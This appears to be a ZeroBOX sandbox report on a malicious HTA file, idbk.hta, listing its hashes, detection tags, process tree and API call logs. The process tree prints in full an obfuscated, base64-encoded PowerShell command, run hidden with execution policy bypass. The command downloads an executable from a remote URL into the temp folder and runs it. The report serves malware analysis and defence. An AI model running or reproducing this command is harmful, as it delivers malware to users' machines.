popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

idbk.hta

Generic Malware Antivirus AntiVM AntiDebug PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 July 20, 2023, 12:16 p.m. July 20, 2023, 12:18 p.m.
Size 10.6KB
Type HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5 f64cb89c952b5355259ef7373ea7982d
SHA256 e68e3146d9b4d94e9e185df4a28dde1fa51f49d08359ec0841c41d263e644c56
CRC32 503A4E36
ssdeep 96:gtkyRg9N3YQobnKhwHh+tWfKjkQZK3BjnVGW2samC:gtk99N3YQobKhY+IfKjkQZKo
Yara
  • Antivirus - Contains references to security software

  • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\idbk.hta.html

    2616

    • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2616 CREDAT:145409

      2704

      • POWeRShElL.EXe "C:\Windows\syStEM32\wIndowspOwErsheLL\v1.0\POWeRShElL.EXe" "poWERsHElL -EX bYPASs -NOP -W 1 -EC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAFsAbgBlAFQALgBzAGUAUgB2AEkAQwBFAFAATwBJAE4AVABNAGEAbgBBAEcARQByAF0AOgA6AFMAZQBjAFUAUgBpAHQAWQBQAHIATwB0AG8AYwBvAEwAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAD0AIAAJACAAIAAJACAAIAAgACAAWwBOAGUAVAAuAFMARQBjAHUAUgBpAFQAWQBQAFIAbwB0AG8AQwBvAGwAdAB5AFAAZQBdADoAOgBUAGwAcwAxADIAIAAgACAAIAAgACAAOwAgACAAIAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAHcARwBlAHQAIAAJAAkACQAJAAkAKABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA4ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADUAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQAzACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA2ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAyADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADIAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgACAACQAtAE8AdQB0AEYASQBMAGUAIAAgACAAIAAJAAkAIAAJACAACQAJACAACQAJAB0gJABlAG4AVgA6AFQARQBtAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSAgAAkACQAJAAkACQAJAAkAOwAgAAkACQAgAAkACQAgAAkAcwBUAEEAcgBUACAAIAAJACAACQAJAAkACQAgAB0gJABFAG4AdgA6AHQAZQBNAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSA= "

        2928

        • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPASs -NOP -W 1 -EC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAFsAbgBlAFQALgBzAGUAUgB2AEkAQwBFAFAATwBJAE4AVABNAGEAbgBBAEcARQByAF0AOgA6AFMAZQBjAFUAUgBpAHQAWQBQAHIATwB0AG8AYwBvAEwAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAD0AIAAJACAAIAAJACAAIAAgACAAWwBOAGUAVAAuAFMARQBjAHUAUgBpAFQAWQBQAFIAbwB0AG8AQwBvAGwAdAB5AFAAZQBdADoAOgBUAGwAcwAxADIAIAAgACAAIAAgACAAOwAgACAAIAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAHcARwBlAHQAIAAJAAkACQAJAAkAKABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA4ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADUAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQAzACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA2ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAyADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADIAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgACAACQAtAE8AdQB0AEYASQBMAGUAIAAgACAAIAAJAAkAIAAJACAACQAJACAACQAJAB0gJABlAG4AVgA6AFQARQBtAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSAgAAkACQAJAAkACQAJAAkAOwAgAAkACQAgAAkACQAgAAkAcwBUAEEAcgBUACAAIAAJACAACQAJAAkACQAgAB0gJABFAG4AdgA6AHQAZQBNAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSA=

          1356

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002f98a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

